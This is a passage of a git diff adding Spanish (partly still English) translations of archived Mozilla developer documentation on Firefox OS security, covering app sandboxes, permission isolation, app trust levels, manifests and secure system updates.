+<p>Un usuario puede instalar de forma segura la "Fabulosa Aplicación Social" para registrarse en Facebook sin tener que preocuparse que la aplicación "El Juego de DIbujos" pueda montar algún tipo de ataque para obtener la información del usuario de Facebook usando algún tipo de error o atajo que pueda existir en el sitio web de facebook.</p>
+<p>También existen buenos beneficios para la privacidad. El usuario puede instalar de forma segura la "Aplicación de mi partido político" sin tener que preocuparse de que la "Apliación de empleados de la Megacorporación" sea capaz de detectar que aplicación se encuentra instalada o que información fue creada.</p>
+<h3 id="Permisos_aislados">Permisos aislados</h3>
+<p>Así como la información de un sitio web es aislada por medio de una sandbox, también son aislados los permisos otorgados. Si la aplicación A carga una página de <a class="external free" href="http://maps.google.com" rel="nofollow">http://maps.google.com</a> y la página pide utilizar la geolocalización y el usuario dice "permitir y recordar la decisión", esto solo significa que <a class="external free" href="http://maps.google.com" rel="nofollow">http://maps.google.com</a> tiene acceo a la geolocalización dentro de la aplicación A. Si la aplicación B abre <a class="external free" href="http://maps.google.com" rel="nofollow">http://maps.google.com</a>, esa página no tendrá acceso a la geolocalización a menos que el usuario le garantice ese permiso de vuelta.</p>
+<p>Y como en un navegador normal, los permisos se encuentran separados por origen. Si la aplicación A tiene el acceso garantizado para utilizar geolocalización, esto no significa que todos los origenes corriendo en la aplicación A tendrán ese permiso. Si la aplicación A abre un &lt;iframe&gt; a <a class="external free" href="http://maps.google.com" rel="nofollow">http://maps.google.com</a>, entonces <a class="external free" href="http://maps.google.com" rel="nofollow">http://maps.google.com</a> tiene que pedir permiso antes que el acceso a la geolocalización sea garantizado.</p>
+<h3 id="Sandbox_de_la_API_para_Navegadores">Sandbox de la API para Navegadores</h3>
+<p>Para una seguridad adicional para aquellas aplicaciones que necesitan abrir una gran cantidad de URLs, como por ejemplo navegadores, añadimos el "browserContent flag" (indicador de contenido de navegador). El browserContent flag permite que cada aplicación tenga no una, sino dos sandbox, una para la aplicación en sí, y otra para cualquier contenido web que abra. Por ejemplo:</p>
+<p>Digamos que la aplicación "Mi Navegador" carga desde el sitio  <a class="external free" href="https://mybrowser.com" rel="nofollow">https://minavegador.com</a>. Este es el dominio de donde los scripts y otros recursos son cargados. Los scripts y recursos <em>pertenecen</em> a este dominio.</p>
+<p>Ahora bien, si esta aplicación crea un &lt;iframe mozbrowser&gt;, un sandbox diferente es creado para este &lt;iframe&gt;, el cual será un sandbox diferente del usado por la aplicación - por ejemplo, si este oframe navega a <a class="external free" href="https://mybrowser.com" rel="nofollow">https://minavegador.com</a>, esto resultará en diferentes cookies usados dentro del &lt;iframe mozbrowser&gt;. Así también el contenido dentro del &lt;iframe mozbrowser&gt; verá diferentes IndexedDB y bases de datos localStorage de las que abrió la aplicación.</p>
+<p>Esto también se aplica si "Mi Navegador" quiere crear integración con, por ejemplo, Google Maps para implementar navegación basada en  to implementar navegación basada en la ubicación. Si la aplicación abre un &lt;iframe&gt; a <a class="external free" href="http://maps.google.com" rel="nofollow">http://maps.google.com</a>, esto abrirá un iframe que recibirá las cookies para el sitio <a class="external free" href="http://maps.google.com" rel="nofollow">http://maps.google.com</a>. Si el usuario navega dentro del área de contenido web, por ejemplo del &lt;iframe mozbrowser&gt;, a <a class="external free" href="http://maps.google.com" rel="nofollow">http://maps.google.com</a>, este usará cookies diferentes y permisos diferentes de los que existen a nivel de la aplicación.</p>
+<p>Otro ejemplo donde esto sería util sería en una aplicación tipo Yelp. Yelp tiene la capacidad de visitar el website de un restaurante direntamente desde la aplicación. Al usar un &lt;iframe mozbrowser&gt; para abrir el sitio web de un restorante, la aplicación Yelp se asegura que el el sitio web no puede tener un &lt;iframe&gt; apuntando a la aplicación de Yelp (lo cual apuntaría a <a class="external free" href="http://yelp.com" rel="nofollow">http://yelp.com</a>). Si lo hiciera, el sitio web recibiría el sitio web de Yelp, en vez de la aplicación. Así no existe manera de que el sitio web pueda montar un ataque a la aplicación ya que el sitio web de Yelp no compartirá ninguno de los permisos o la información de la aplicación Yelp.</p>
+<h2 id="Resumen_de_la_Seguridad_en_Aplicaciones">Resumen de la Seguridad en Aplicaciones</h2>
+<p>La tabla de abajo resume los diferente tipos de aplicaciones de Firefox OS, y describe el formato, instalación, y el proceso de actualización de las Open Web Apps corriendo en Firefox OS.</p>
+<table>
+ <caption>
+  Tipos de aplicaciones web</caption>
+ <thead>
+  <tr>
+   <th scope="col">Tipo</th>
+   <th scope="col">Entrega</th>
+   <th scope="col">Modelo de Permisos</th>
+   <th scope="col">Instalación</th>
+   <th scope="col">Actualizaciones</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Web</td>
+   <td>Alojada o empaquetada</td>
+   <td>Menos sensible a los permisos que no son peligrosos para exponer a contenido web sin validad</td>
+   <td>Instaladas desde cualquier lugar</td>
+   <td>Pueden ser actualizadas de forma transparente por el usuario o desde el marketplace, dependiendo de donde la aplicación fue instalada, y el mecanismo de entrega.</td>
+  </tr>
+  <tr>
+   <td>Privilegiada</td>
+   <td>Empaquetada y firmada</td>
+   <td>APIs privilegiadas que requieren de validación y autenticación de la aplicación</td>
+   <td>Instaladas desde un marketplace confiable</td>
+   <td>Actualizadas desde un marketplace confiable, al usuario se le pide aprovación para descargar e instalar las actualizaciones.</td>
+  </tr>
+  <tr>
+   <td>Certificada</td>
+   <td>Empaquetada</td>
+   <td>APIs poderosas y peligrosas que no se encuentran disponibles para aplicaciones de terceros.</td>
+   <td>Preinstaladas en el dispositivo</td>
+   <td>Actualizadas solo como parte de las actualizaciones a nivel del sistema.</td>
+  </tr>
+ </tbody>
+</table>
+<p><strong>Nota</strong>: Para la  version 1.0 de Firefox OS, si bien las aplicaciones  web pueden ser instaladas desde cualquier sitio web o marketplace, las aplicaciones privilegiadas solo pueden ser instaladas desde el Mozilla Marketplace, como el soporte a multiples marketplaces confiable no está todavía completo.</p>
diff --git a/files/es/archive/b2g_os/security/index.html b/files/es/archive/b2g_os/security/index.html
new file mode 100644
index 0000000000..e88430f481
--- /dev/null
+++ b/files/es/archive/b2g_os/security/index.html
@@ -0,0 +1,72 @@
+---
+title: Firefox OS security
+slug: Archive/B2G_OS/Security
+tags:
+  - B2G
+  - Firefox OS
+  - Mobile
+  - Móvil
+  - Seguridad
+  - TopicStub
+  - movil(2)
+translation_of: Archive/B2G_OS/Security
+---
+<p>Los siguienes artículos cubren información sobre la seguridad de Firefox OS. Esto incluye caracerísticas generales de seguridad así como seguridad en las aplicaciones y mantener el proceso de instalación seguro.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">Documentación de seguridad de Firefox OS</h2>
+
+    <dl>
+     <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Security/Security_model" title="/en-US/docs/Mozilla/Firefox_OS/Security/Security_model">Modelo de seguridad de Firefox os</a></dt>
+     <dd>Un vistazo al manual de seguridad de Firefox  OS</dd>
+     <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Security/System_security" title="/en-US/docs/Mozilla/Firefox_OS/Security/Security_model">Seguridad del sistema</a></dt>
+     <dd>Detalles de los controles de seguridad integrados en el <em>runtime</em> de Firefox OS</dd>
+     <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security" title="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security">Seguridad de aplicaciones en Firefox OS</a></dt>
+     <dd>Un vistazo de cómo las aplicaciones son seguras en Firefox OS</dd>
+     <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Security/Installing_and_updating_applications" title="/en-US/docs/Mozilla/Firefox_OS/Security/Installing_and_updating_applications">Instalación y actualización segura de aplicaciones</a></dt>
+     <dd>Cómo Firefox OS instala y acualiza las aplicaciones de forma segura.</dd>
+     <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Security/Software_permissions" title="/en-US/docs/Mozilla/Firefox_OS/Security/Software_permissions">Permisos de Software en Firefox OS</a></dt>
+     <dd>Una guía de qué tipos de software tienen permisos para realizar varias tareas en Firefox OS.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Security/Debugging_and_security_testing" title="/en-US/docs/Mozilla/Firefox_OS/Security/Debugging_and_security_testing#Marionette.3A_A_JavaScript_debugging_shell_for_Firefox_OS"><span style="display: none;"> </span>Depuración y pruebas de seguridad con Firefox OS</a></dt>
+     <dd>Esta guía muestra los pasos básicos de las pruebas de seguridad, desde la apertura de abrir un depurador remoto de JavaScript hasta la creación de un proxy HTTP/S de intercepción contra una versión de escritorio de Firefox OS.</dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/en-US/docs/tag/B2G" title="/en-US/docs/tag/B2G">Ver Todo...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Community" id="Community" name="Community">Obtener ayuda de la Comunidad</h2>
+
+    <p>Si estás trabajando con Firefox OS, o desarrollando aplicaciones que te gustaría ejecutar en dispositivos Firefox OS, ¡Hay recursos de la comunidad para ayudarte!</p>
+
+    <ul>
+     <li>Consulta el foro del proyecto Boot to Gecko: <ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-b2g"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.b2g"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.b2g/feeds"> como RSS</a></li>
+</ul></li>
+     <li>Haz una pregunta en el canal IRC de Boot to Gecko: <a class="link-irc" href="irc://irc.mozilla.org/b2g" title="irc://irc.mozilla.org/b2g">#b2g</a></li>
+    </ul>
+
+    <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">No te olvides de la  <em>netiquette</em>...</a></span></p>
+
+
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Temas Relacionados</h2>
+
+    <ul>
+     <li><a href="/en-US/docs/Mobile" title="en-US/docs/Mobile">Móvil</a></li>
+     <li><a href="/en-US/docs/Security" title="/en-US/docs/Security">Seguridad</a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<div id="cke_pastebin" style="position: absolute; top: 483px; width: 1px; height: 1px; overflow: hidden; left: -1000px;"><br>
+Firefox OS</div>
diff --git a/files/es/archive/b2g_os/security/modelo_seguridad/index.html b/files/es/archive/b2g_os/security/modelo_seguridad/index.html
new file mode 100644
index 0000000000..8c03acd89e
--- /dev/null
+++ b/files/es/archive/b2g_os/security/modelo_seguridad/index.html
@@ -0,0 +1,255 @@
+---
+title: Introducción a la seguridad de Firefox OS
+slug: Archive/B2G_OS/Security/modelo_seguridad
+translation_of: Archive/B2G_OS/Security/Security_model
+---
+<p>Este documento proporciona una visión general del marco de trabajo de seguridad del sistema operativo de Mozilla Firefox OS, que está diseñado para proteger los dispositivos móviles de las amenazas a la plataforma, aplicaciones y datos. En Firefox OS, Mozilla ha implementado un modelo exhaustivo, integrado y de múltiples capas de seguridad que ofrece una protección mejor frente a los riesgos de seguridad en los teléfonos móviles.</p>
+<h1 id="Seguridad_de_la_plataforma">Seguridad de la plataforma</h1>
+<p>Firefox OS en su plataforma utiliza un modelo de seguridad de varias capas que esta diseñado para reducir los riesgos de seguridad en todos los niveles. Contramedidas de primera línea se combinan con una estrategia de defensa en profundidad que proporciona protección completa contra amenazas.</p>
+<h2 id="Arquitectura_de_la_seguridad">Arquitectura de la seguridad</h2>
+<p>Firefox OS conecta las aplicaciones basadas en la web con el hardware subyacente. Se trata de una pila de tecnologías integradas que consiste en los siguientes niveles:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5023/platform.png" style="width: 660px; height: 478px;"></p>
+<p><strong>Mobile device</strong> es el teléfono móvil ejecutando Firefox OS. <strong>Gonk</strong> consiste en el kernel de Linux, las librerías del sistema, el firmware y los controladores del dispositivo. <strong>Gecko</strong> es la capa de tiempo de ejecución de aplicaciones que proporciona el marco de trabajo para la ejecución de aplicaciones, e implementa las API Web que se usan para acceder a las funciones del dispositivo móvil. <strong>Gaia</strong> es la colección de aplicaciones web que conforman la experiencia de usuario (aplicaciones que contienen desde HTML5, CSS, JavaScript, imágenes, medios, y así sucesivamente).</p>
+<p><strong>Gecko</strong> es el portero que hace cumplir las políticas de seguridad diseñadas para proteger el dispositivo móvil de un mal uso. La Capa <strong>Gecko</strong> actúa como intermediario entre las aplicaciones web (en la capa <strong>Gaia</strong>) y el teléfono. <strong>Gonk</strong> le ofrece las características del hardware del teléfono móvil directamente a la capa <strong>Gecko</strong> . Las aplicaciones web acceden a las funcionalidades del teléfono móvil sólo a través de las API Web, y sólo si <strong>Gecko</strong> permite la petición de acceso, no hay accesos directos ni "puertas traseras" en el teléfono. <strong>Gecko</strong> aplica los permisos e impide el acceso a las solicitudes no autorizadas.</p>
+<h2 id="Implementación_del_sistema_de_seguridad">Implementación del sistema de seguridad</h2>
+<p>Firefox OS viene instalado en el teléfono inteligente. la imagen original del sistema es creada por un conocido, una fuente de confianza que por lo general es el OEM del dispositivo, el cuál es responsable de ensamblar, construir, probar y firmar digitalmente el paquete que se distribuye.</p>
+<p>Las medidas de seguridad se utilizan en toda la pila de tecnologías. Los privilegios del sistema de archivos son impuestas por las listas del control de acceso de Linux`s (ACLs). Las aplicaciones del sistema se instalan en un volumen que es de solo lectura (excepto durante las actualizaciones, donde es temporalmente tienen lectura y escritura ). Sólo las áreas que contienen los datos de usuario son de lectura y escritura. Varios componentes del hardware del dispositivo tiene una función de protección que se aplican de forma predeterminada como la práctica estándar de la industria. Los fabricantes de Chipset, por ejemplo, emplean técnicas de endurecimiento para reducir las vulnerabilidades. El núcleo de la plataforma (Gecko and Gonk) se endurece para reforzar su defensa contra las amenazas potenciales, utilizándose en su caso las características de endurecimiento del compilador. Para más detalles ver <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Runtime_security" title="/en-US/docs/Mozilla/Firefox_OS/Security/Runtime_security">Seguridad en tiempo de ejecución</a>.</p>
+<h2 id="Actualizaciones_seguras_del_sistema">Actualizaciones seguras del sistema</h2>
+<p>Las actualizaciones y parches a la plataforma Firefox OS se implementan usando un proceso seguro de Mozilla que asegura la integridad de la imagen del sistema en el teléfono móvil. La actualización es creada por un conocido, una fuente de confianza que por lo general es el OEM del dispositivo, el cuál es responsable de ensamblar, construir, probar y firmar digitalmente el paquete que se distribuye.</p>
+<p>Las actualizaciones del sistema pueden incluir la totalidad o una parte de la pila de Firefox OS. Si cambios en <strong>Gonk </strong>son incluidos en la actualización, entonces FOTA (Firmware sobre el aire ) es el proceso de instalación utilizado. La actualización por FOTA puede incluir cualquier otra parte de la pila de Firefox OS, incluyendo la gestión del dispositivo(FOTA, firmware / drivers), gestión de la configuración(configuraciones de Firefox OS), actualizaciones de seguridad, <strong>Gaia</strong>, <strong>Gecko </strong>y otros parches.</p>
+<p>Actualizaciones que no involucren a <strong>Gonk</strong> pueden hacerse usando la utilidad de actualización de sistemas de Mozilla. Firefox OS utiliza el mismo marco de trabajo de actualizaciones, los procesos y el formato de archivos de Mozilla (MAR)  (usado para actualizar los paquetes) como el producto Firefox para Escritorio. Para más información, consulte <a href="https://wiki.mozilla.org/Software_Update">https://wiki.mozilla.org/Software_Update</a>.</p>
+<p>Al integrar el servicio de actualización que puede ser proporcionado por el fabricante, en el teléfono móvil comprueba periódicamente si hay actualizaciones del sistema. Una vez que un paquete del sistema esta disponible y es detectado por el servicio de actualizaciones, se solicita al usuario que confirme la actualización. Antes de instalar las actualizaciones en dispositivo móvil, se comprueba que haya suficiente espacio para aplicar la actualización y la distribución se verifica para:</p>
+<ul>
+ <li>Origen de las actualizaciones (verifica la ubicación de la fuente (protocolo:dominio:puerto) de la actualización del sistema y el manifiesto)</li>
+ <li>Integridad del archivo (SHA-256 verificación del hash)</li>
+ <li>Firma del código (ver certificado contra una raíz de confianza)</li>
+</ul>
+<p>Las siguientes medidas de seguridad son utilizadas durante el proceso de actualización:</p>
+<ul>
+ <li>Mozilla recomienda y espera que las actualizaciones sean a través de una conexión SSL.</li>
+ <li>Se requiere una fuerte verificación de criptografía antes de instalar un paquete de firmware.</li>
+ <li>La actualización completa debe ser descargada en una ubicación específica y segura antes de que comience el proceso de actualización.</li>
+ <li>El sistema debe estar en un estado seguro cuando se inicia el proceso de actualización, sin aplicaciones web en ejecución.</li>
+ <li>Las claves deben ser almacenadas en una ubicación segura en el dispositivo.</li>
+</ul>
+<p>Rigurosas comprobaciones se llevan a cabo para asegurar que la actualización es aplicada correctamente en teléfono móvil.</p>
+<h1 id="Seguridad_en_aplicaciones">Seguridad en aplicaciones</h1>
+<p>Firefox OS utiliza una estrategia de seguridad de tipo defensa en profundidad apara proteger el teléfono móvil de las aplicaciones intrusivas o maliciosos. Esta estrategia cuenta con una variedad de mecanismos, incluyendo los niveles de permisos implícitos basados en un modelo de aplicaciones de confianza, la ejecución de recinto de seguridad en tiempo de ejecución, únicamente acceso al hardware subyacente teléfono móvil a través del API, un modelo de permisos robusto y seguridad en la instalación y los procesos de actualización. Para obtener información técnica, consulte: <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Security/Application_security" title="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security">Seguridad de las aplicaciones.</a></p>
+<p>En Firefox OS, todas las aplicaciones son aplicaciones web - programas escritos utilizando HTML5, JavaScript, CSS, media y otras tecnologías web abiertas (las páginas que se ejecutan en el navegador no se conocen como aplicaciones Web en este contexto). Porque no hay binario ("nativo") las aplicaciones instaladas por el usuario, todo acceso al sistema está mediada estrictamente a través de las API Web. Incluso el acceso al sistema de archivos es sólo a través de las API de Web y una base de datos SQLite de fondo - no hay acceso directo desde las aplicaciones a los archivos almacenados en la tarjeta SD.</p>
+<p>Firefox OS limita y hace cumplir el ámbito de los recursos que pueden ser accedidos o utilizados por una aplicación, mientras que también apoya una amplia gama de aplicaciones con diferentes niveles de permisos. Mozilla implementa controles estrictos sobre qué tipo de aplicaciones pueden acceder a qué APIs. Por ejemplo, sólo las aplicaciones certificadas (se suministran con el teléfono) pueden tener acceso a la API de telefonía. La aplicación Marcador tiene privilegios para acceder a la API de telefonía para hacer llamadas telefónicas, pero no todas las aplicaciones certificadas se puede acceder a esta API. Esto evita que un escenario, por ejemplo, en el que se instala una aplicación de terceros arbitraria, marca un número de teléfono de pago por uso (900 y 910), y por debajo te consume gran cantidad del saldo del teléfono celular. Sin embargo, otras aplicaciones OEM pueden darse de forma selectiva el acceso a la API de telefonía. Por ejemplo, un operador podría proporcionar una aplicación de gestión de sistemas que permite a los clientes administrar su cuenta, incluyendo la posibilidad de llamar a la facturación del operador o de la oficina de apoyo directamente.</p>
+<h2 id="Aplicaciones_confiables_y_no_confiables">Aplicaciones confiables y no confiables</h2>
+<p>Firefox OS clasifica las aplicaciones de acuerdo a los siguientes tipos:</p>
+<table>
+ <thead>
+  <tr>
+   <th style="width: 82px;">
+    <p>Tipo</p>
+   </th>
+   <th style="width: 102px;">
+    <p>Nivel de confianza</p>
+   </th>
+   <th style="width: 447px;">
+    <p>Descripción</p>
+   </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="width: 82px;">
+    <p>Certificadas</p>
+   </td>
+   <td style="width: 102px;">
+    <p>Altamente confiable</p>
+   </td>
+   <td style="width: 447px;">
+    <p>Aplicaciones del sistema que han sido aprobadas por el operador o el OEM (debido al riesgo de corrupción para el dispositivo o riesgo para las funcionalidades críticas). Aplicaciones y servicios del sistema solamente, no destinadas a aplicaciones de terceros.<br>
+     Esta designación se reserva para sólo un pequeño número de aplicaciones críticas. Ejemplos: SMS, Bluetooth, cámara, reloj del sistema, la telefonía y el marcador por defecto (para garantizar que los servicios de emergencia siempre están accesibles).</p>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 82px;">
+    <p>Privilegiadas</p>
+   </td>
+   <td style="width: 102px;">
+    <p>Confiables</p>
+   </td>
+   <td style="width: 447px;">
+    <p>Aplicaciones de terceros que han sido revisados, aprobados y firmados digitalmente por un mercado autorizado.</p>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 82px;">
+    <p>Web (todo lo demás)</p>
+   </td>
+   <td style="width: 102px;">
+    <p>No confiables</p>
+   </td>
+   <td style="width: 447px;">
+    <p>Contenido web regular. Incluye tanto las aplicaciones instaladas (almacenadas en el teléfono móvil) y las aplicaciones de servidor (almacenados remotamente, con sólo un archivo de manifiesto de aplicación almacenada en el teléfono móvil). El manifiesto para aplicaciones de servidor se puede obtener a través de un mercado de aplicaciones.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p>El nivel de confianza de una aplicación determina, en parte, su capacidad para acceder a la funcionalidades en el teléfono móvil.</p>
+<ul>
+ <li>Las aplicaciones certificadas tienen permiso para la mayoría de operaciones de la API Web</li>
+ <li>Las aplicaciones privilegiadas tienen permisos a un subconjunto de las operaciones de la API Web accesibles para las aplicaciones certificadas.</li>
+ <li>Las aplicaciones no confiables tienen permisos para un subconjunto de las operaciones de la API Web accesibles para las aplicaciones con privilegios. Estas son sólo las APIs Web que contiene suficientes medidas de mitigación de seguridad para estar expuesta a contenido web que no se confía.</li>
+</ul>
+<p>Algunas operaciones, como el acceso a la red, se supone de un permiso implícito para todas las aplicaciones. En general, cuanto más sensible es la operación (por ejemplo, marcar un número de teléfono o el acceso a la lista de contactos), mayor es el nivel de confianza requerido en la aplicación para ejecutarla.</p>
+<h3 id="Principle_of_Least_Permissions">Principle of Least Permissions</h3>
+<p>For web apps, the Firefox OS security framework follows the <em>principle of least permissions</em>: start with the absolute minimum permissions, then selectively grant additional privileges only when required and reasonable. By default, an app starts with very low permissions, which is comparable to untrusted web content. If the app makes Web API calls that require additional permissions, it must enumerate these additional permissions in its <em>manifest</em> (described later in this document). Gecko will consider granting Web API access to an application only if the applicable privileges are explicitly requested in its manifest. Gecko will grant the requested permission only if the <em>type </em>of the Web App (certified, trusted, or web) is sufficiently qualified for access.</p>
+<h3 id="Review_Process_for_Privileged_Apps_in_the_Marketplace">Review Process for Privileged Apps in the Marketplace</h3>
+<p>In order for an app to become privileged, the app provider must submit it for consideration to an authorized Marketplace. The Marketplace subjects the app to a rigorous code review process: verifying its authenticity and integrity, ensuring that requested permissions are used for the purposes stated (in the permission rationale), verifying that the use of implicit permissions is appropriate, and validating that any interfaces between privileged app content and unprivileged external content have the appropriate mitigations to prevent elevation of privilege attacks. The Marketplace has the responsibility to ensure that the web app will not behave maliciously with the permissions that it is granted.</p>
+<p>After an app passes this review, it is approved for use, its app manifest is digitally signed by the Marketplace, and it is made available for mobile users to download. The signature ensures that, if the web store were somehow hacked, the hacker could not get away with installing arbitrary content or malicious code on users’ phones. Due to this vetting process, Firefox OS gives privileged apps obtained from a Marketplace a higher degree of trust than everyday (untrusted) web content.</p>
+<h2 id="Packaged_and_Hosted_Apps">Packaged and Hosted Apps</h2>
+<p>Apps for Firefox OS can be either <em>packaged</em> (stored on the mobile phone) or <em>hosted</em> (stored on a remote web server, with just a manifest stored on the mobile phone). There are some differences in the way in which security is managed for each. Nonetheless, packaged and hosted apps are both subject to application sandboxing, which is described later in this document.</p>
+<h3 id="Packaged_Apps">Packaged Apps</h3>
+<p>A packaged app consists of a ZIP file containing application resources (HTML5, CSS, JavaScript, images, media), as well as a manifest that provides an explicit list of assets and their corresponding hashes. Certified and privileged apps must be packaged apps because the app manifest needs to be digitally signed. When a user obtains a packaged app, the ZIP file is downloaded onto the mobile phone, and the manifest is read from a known location inside the ZIP file. During the install process, app assets are verified and remain stored locally in the package. All explicit permissions are requested at runtime, showing the user the app's data usage intentions, and persisted by default.</p>
+<p>To refer to app resources in a packaged app, the URL begins with app: using the following format:</p>
+<p><code>app://<em>identifier</em>/<em>path_within_zipfile</em>/file.html</code></p>
+<p>where app:// represents the mount point for the ZIP file, and <em>identifier</em> is a UUID that is generated when the app is installed on the mobile phone. This mechanism ensures that resources referred to with an app: URL are contained in the ZIP file. The path within an app: is relative, so relative links to resources in the ZIP file are allowed.</p>
+<p>While packaged apps are primarily intended to be used for Certified or Privileged apps, regular web apps can also be packaged. However, they do not gain any increase in trust or permissions access simply because they are packaged.</p>
+<h3 id="Hosted_Apps">Hosted Apps</h3>
+<p>Hosted apps are located on a web server and loaded via HTTP. Only the app manifest is stored on the mobile phone. Everything else is stored remotely. Certain APIs are available only to privileged and certified apps, which requires the app to be packaged due to signing requirements. Therefore, a hosted app will not have access to any of the Web APIs operations that require privileged or certified app status.</p>
+<p>From a security point of view, hosted apps work very much like normal websites. A hosted app is loaded by invoking a hard-coded, fully-qualified URL that points to the startup page in the root directory of the app on that web server. Once a hosted app is loaded, the mobile phone links to pages using the same URLs that are used when browsing the web site.</p>
+<h2 id="App_Manifest">App Manifest</h2>
+<p>An Open Web App manifest contains information that a Web browser needs in order to interact with an app. A manifest is a JSON file with (at a minimum) a name and description for the app. For further details, refer to <a href="/en-US/docs/Apps/FAQs/About_app_manifests" title="/en-US/docs/Apps/FAQs/About_app_manifests">FAQs about app manifests</a>.</p>
+<h3 id="Example_Manifest">Example Manifest</h3>
+<p>The following code listing shows an example manifest with just basic settings:</p>
+<pre class="brush:text">{
+  "name": "My App",
+  "description": "My elevator pitch goes here",
+  "launch_path": "/",
+  "icons": {
+    "128": "/img/icon-128.png"
+  },
+  "developer": {
+    "name": "Your name or organization",
+    "url": "http://your-homepage-here.org"
+  },
+  "default_locale": "en"
+}</pre>
+<h3 id="Security_Settings_in_the_App_Manifest">Security Settings in the App Manifest</h3>
+<p>The manifest can also contain other settings, including the following security settings:</p>
+<table>
+ <thead>
+  <tr>
+   <th style="width: 152px;">
+    <p>Field</p>
+   </th>
+   <th style="width: 479px;">
+    <p>Description</p>
+   </th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="width: 152px;">
+    <p>permissions</p>
+   </td>
+   <td style="width: 479px;">
+    <p>Permissions required by the app. An app must list every Web API it intends to use that requires user permission. Most permissions make sense for privileged apps or certified apps, but not for hosted apps. Properties per API:</p>
+    <ul>
+     <li><strong>description</strong> - A string specifying the intent behind requesting use of this API. Required.</li>
+     <li><strong>access</strong> - A string specifying the type of access required for the permission. Implicit permissions are granted at install time. Required for only a few APIs. Accepted values: <strong>read</strong>, <strong>readwrite</strong>, <strong>readcreate</strong>, and <strong>createonly</strong>.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 152px;">
+    <p>installs_allowed_from</p>
+   </td>
+   <td style="width: 479px;">
+    <p>Origin of the app. Array of origins (scheme+unique hostname) that are allowed to trigger installation of this app. Allows app providers to restrict installs from only an authorized Marketplace (such as <a href="https://marketplace.firefox.com/">https://marketplace.firefox.com/</a>).</p>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 152px;">
+    <p>csp</p>
+   </td>
+   <td style="width: 479px;">
+    <p>Content Security Policy (CSP). Applied to all pages loaded in the app. Used to harden the app against bugs that would allow an attacker to inject code into the app. If unspecified, privileged and certified apps have system-defined defaults. Syntax:<br>
+     <a href="https://developer.mozilla.org/en-US/docs/Apps/Manifest#csp">https://developer.mozilla.org/en-US/docs/Apps/Manifest#csp</a></p>
+    <p><em>Note that this directive can only increase the CSP applied. You cannot use it, for example, to reduce the CSP applied to a privileged App.</em></p>
+   </td>
+  </tr>
+  <tr>
+   <td style="width: 152px;">
+    <p>type</p>
+   </td>
+   <td style="width: 479px;">
+    <p>Type of application (web, privileged, or certified).</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p>Firefox OS requires that the manifest be served with a specific mime-type ("application/x-web-app-manifest+json") and from the same fully-qualified host name (origin) from which the app is served. This restriction is relaxed when the manifest app (and thus the app manifest) is same-origin with the page that requested the app to be installed. This mechanism is used to ensure that it's not possible to trick a website into hosting an application manifest.</p>
+<h2 id="Sandboxed_Execution">Sandboxed Execution</h2>
+<p>This section describes application and execution sandboxes.</p>
+<h3 id="Application_Sandbox">Application Sandbox</h3>
+<p>The Firefox OS security framework uses sandboxing as a defense-in-depth strategy to mitigate risks and protect the mobile phone, platform, and data. Sandboxing is a way of putting boundaries and restrictions around an app during run-time execution. Each app runs in its own worker space and it has access only to the Web APIs and the data it is permitted to access, as well as the resources associated with that worker space (IndexedDB databases, cookies, offline storage, and so on). For details, see <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Security/Security_model">https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Security/Security_model</a>.</p>
+<p>The following figure provides an overview of this security model.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5025/sandbox.png"></p>
+<p>By isolating each app, its impact is contained within its own worker space. It cannot interfere with anything (such as other apps or their data) outside of that worker space.</p>
+<h3 id="Execution_Sandbox">Execution Sandbox</h3>
+<p>B2G (Gecko) runs in a highly-privileged system process that has access to hardware features in the mobile phone. At run-time, each app runs inside an execution environment that is a child process of the B2G system process. Each child process has a restricted set of OS privileges – for example, a child process cannot directly read or write arbitrary files on the file system. Privileged access is provided through Web APIs, which are mediated by the parent B2G process. The parent ensures that, when a child process requests a privileged API, it has the necessary permission to perform this action.</p>
+<p>Apps communicate only with the B2G core process, not with other processes or apps. Apps do not run independently of B2G, nor can apps open each other. The only “communication” between apps is indirect (for example, when a listener process detects an event generated by some other process), and is mediated through the B2G process.</p>
+<h3 id="Hardware_Access_Only_via_the_Web_API">Hardware Access Only via the Web API</h3>
+<p>Web apps have only one entry point to access mobile phone functionality: the Firefox OS Web APIs, which are implemented in Gecko. Gecko provides the sole gateway to the mobile device and underlying services. The only way to access device hardware functionality is to make a Web API call. There is no “native” API and there are no other routes (no “back doors”) to bypass this mechanism and interact directly with the hardware or penetrate into low-level software layer.</p>
+<h1 id="Security_Infrastructure">Security Infrastructure</h1>
+<p>The following figure shows the components of this security framework:</p>
